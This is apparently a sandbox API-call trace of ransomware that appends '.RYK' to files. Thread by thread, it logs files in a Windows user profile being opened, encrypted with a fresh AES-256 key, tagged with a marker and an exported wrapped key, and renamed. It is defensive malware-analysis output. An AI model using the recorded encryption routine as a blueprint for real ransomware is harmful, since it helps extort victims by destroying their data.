	[0223.900] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0223.901] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0223.901] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x959f5d8 | out: lpFileSize=0x959f5d8*=0) returned 1
	[0223.901] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x959f5e8 | out: lpFileSize=0x959f5e8*=0) returned 1
	[0223.901] CloseHandle (hObject=0x708) returned 1
	[0223.902] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2487
	os_tid = 0x2c40

	[0223.910] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat", dwFileAttributes=0x80) returned 1
	[0224.914] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0225.394] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x916f738 | out: lpFileSize=0x916f738*=32768) returned 1
	[0225.394] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x916f748 | out: lpFileSize=0x916f748*=32768) returned 1
	[0225.394] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0225.394] ReadFile (in: hFile=0x6cc, lpBuffer=0x916f790, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x916f700, lpOverlapped=0x0 | out: lpBuffer=0x916f790*, lpNumberOfBytesRead=0x916f700*=0x19, lpOverlapped=0x0) returned 1
	[0225.399] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.399] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x916f718 | out: phKey=0x916f718*=0x2b9220) returned 1
	[0225.399] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.399] ReadFile (in: hFile=0x6cc, lpBuffer=0x3090000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x916f724, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x916f724*=0x8000, lpOverlapped=0x0) returned 1
	[0225.402] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x916f720*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x916f720*=0xf4250) returned 1
	[0225.402] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x916f728*=0x8000, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x916f728*=0x8010) returned 1
	[0225.402] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.403] WriteFile (in: hFile=0x6cc, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x916f724, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x916f724*=0x8010, lpOverlapped=0x0) returned 1
	[0225.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x916f750*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x916f730, lpOverlapped=0x0 | out: lpBuffer=0x916f750*, lpNumberOfBytesWritten=0x916f730*=0x6, lpOverlapped=0x0) returned 1
	[0225.406] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x916f740 | out: pbData=0x0*, pdwDataLen=0x916f740*=0x10c) returned 1
	[0225.406] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x916f7b0, pdwDataLen=0x916f740 | out: pbData=0x916f7b0*, pdwDataLen=0x916f740*=0x10c) returned 1
	[0225.406] WriteFile (in: hFile=0x6cc, lpBuffer=0x916f7b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x916f730, lpOverlapped=0x0 | out: lpBuffer=0x916f7b0*, lpNumberOfBytesWritten=0x916f730*=0x10c, lpOverlapped=0x0) returned 1
	[0225.407] CloseHandle (hObject=0x6cc) returned 1
	[0225.417] CryptDestroyKey (hKey=0x2b9220) returned 1
	[0225.417] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2525
	os_tid = 0x2cd8

	[0223.940] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0225.446] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728
	[0225.447] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x8daf5d8 | out: lpFileSize=0x8daf5d8*=0) returned 1
	[0225.447] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x8daf5e8 | out: lpFileSize=0x8daf5e8*=0) returned 1
	[0225.447] CloseHandle (hObject=0x728) returned 1
	[0225.447] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2535
	os_tid = 0x2d00

	[0224.239] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]", dwFileAttributes=0x80) returned 0
	[0224.239] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.240] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.240] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1].ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2536
	os_tid = 0x2d04

	[0224.474] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT", dwFileAttributes=0x80) returned 1
	[0225.382] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0225.382] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x930f998 | out: lpFileSize=0x930f998*=246258) returned 1
	[0225.382] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x930f9a8 | out: lpFileSize=0x930f9a8*=246258) returned 1
	[0225.382] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x3c0d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0225.382] ReadFile (in: hFile=0x6cc, lpBuffer=0x930f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x930f960, lpOverlapped=0x0 | out: lpBuffer=0x930f9f0*, lpNumberOfBytesRead=0x930f960*=0x19, lpOverlapped=0x0) returned 1
	[0225.385] CloseHandle (hObject=0x6cc) returned 1
	[0225.386] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwFlags=0x8) returned 1
	[0225.393] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2563
	os_tid = 0x2d70


Thread:
	id = 2592
	os_tid = 0x2de4

	[0225.796] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak", dwFileAttributes=0x80) returned 1
	[0225.798] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0225.798] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x94bfa38 | out: lpFileSize=0x94bfa38*=12201) returned 1
	[0225.798] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x94bfa48 | out: lpFileSize=0x94bfa48*=12201) returned 1
	[0225.798] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x2e87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0225.798] ReadFile (in: hFile=0x76c, lpBuffer=0x94bfa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x94bfa00, lpOverlapped=0x0 | out: lpBuffer=0x94bfa90*, lpNumberOfBytesRead=0x94bfa00*=0x19, lpOverlapped=0x0) returned 1
	[0225.820] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.820] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x94bfa18 | out: phKey=0x94bfa18*=0x2b9140) returned 1
	[0225.820] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.821] ReadFile (in: hFile=0x76c, lpBuffer=0x2690000, nNumberOfBytesToRead=0x2fa9, lpNumberOfBytesRead=0x94bfa24, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x94bfa24*=0x2fa9, lpOverlapped=0x0) returned 1
	[0225.823] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x94bfa20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x94bfa20*=0xf4250) returned 1
	[0225.823] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x94bfa28*=0x2fa9, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x94bfa28*=0x2fb0) returned 1
	[0225.823] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.824] WriteFile (in: hFile=0x76c, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x94bfa24, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x94bfa24*=0x2fb0, lpOverlapped=0x0) returned 1
	[0225.824] WriteFile (in: hFile=0x76c, lpBuffer=0x94bfa50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x94bfa30, lpOverlapped=0x0 | out: lpBuffer=0x94bfa50*, lpNumberOfBytesWritten=0x94bfa30*=0x6, lpOverlapped=0x0) returned 1
	[0225.824] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x94bfa40 | out: pbData=0x0*, pdwDataLen=0x94bfa40*=0x10c) returned 1
	[0225.824] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x94bfab0, pdwDataLen=0x94bfa40 | out: pbData=0x94bfab0*, pdwDataLen=0x94bfa40*=0x10c) returned 1
	[0225.824] WriteFile (in: hFile=0x76c, lpBuffer=0x94bfab0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x94bfa30, lpOverlapped=0x0 | out: lpBuffer=0x94bfab0*, lpNumberOfBytesWritten=0x94bfa30*=0x10c, lpOverlapped=0x0) returned 1
	[0225.825] CloseHandle (hObject=0x76c) returned 1
	[0225.846] CryptDestroyKey (hKey=0x2b9140) returned 1
	[0225.846] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2593
	os_tid = 0x2de8

	[0225.819] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt", dwFileAttributes=0x80) returned 1
	[0225.861] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0225.862] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x968fb18 | out: lpFileSize=0x968fb18*=12208) returned 1
	[0225.862] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x968fb28 | out: lpFileSize=0x968fb28*=12208) returned 1
	[0225.862] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x2e8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0225.862] ReadFile (in: hFile=0x76c, lpBuffer=0x968fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x968fae0, lpOverlapped=0x0 | out: lpBuffer=0x968fb70*, lpNumberOfBytesRead=0x968fae0*=0x19, lpOverlapped=0x0) returned 1
	[0225.869] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.869] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x968faf8 | out: phKey=0x968faf8*=0x2b90d0) returned 1
	[0225.869] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.869] ReadFile (in: hFile=0x76c, lpBuffer=0x2980000, nNumberOfBytesToRead=0x2fb0, lpNumberOfBytesRead=0x968fb04, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x968fb04*=0x2fb0, lpOverlapped=0x0) returned 1
	[0225.888] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x968fb00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x968fb00*=0xf4250) returned 1
	[0225.888] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x968fb08*=0x2fb0, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x968fb08*=0x2fc0) returned 1
	[0225.888] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0225.888] WriteFile (in: hFile=0x76c, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x968fb04, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x968fb04*=0x2fc0, lpOverlapped=0x0) returned 1
	[0225.889] WriteFile (in: hFile=0x76c, lpBuffer=0x968fb30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x968fb10, lpOverlapped=0x0 | out: lpBuffer=0x968fb30*, lpNumberOfBytesWritten=0x968fb10*=0x6, lpOverlapped=0x0) returned 1
	[0225.889] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x968fb20 | out: pbData=0x0*, pdwDataLen=0x968fb20*=0x10c) returned 1
	[0225.889] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x968fb90, pdwDataLen=0x968fb20 | out: pbData=0x968fb90*, pdwDataLen=0x968fb20*=0x10c) returned 1
	[0225.889] WriteFile (in: hFile=0x76c, lpBuffer=0x968fb90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x968fb10, lpOverlapped=0x0 | out: lpBuffer=0x968fb90*, lpNumberOfBytesWritten=0x968fb10*=0x10c, lpOverlapped=0x0) returned 1
	[0225.890] CloseHandle (hObject=0x76c) returned 1
	[0225.901] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0225.902] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2594
	os_tid = 0x2dec

	[0225.853] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat", dwFileAttributes=0x80) returned 0
	[0225.853] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
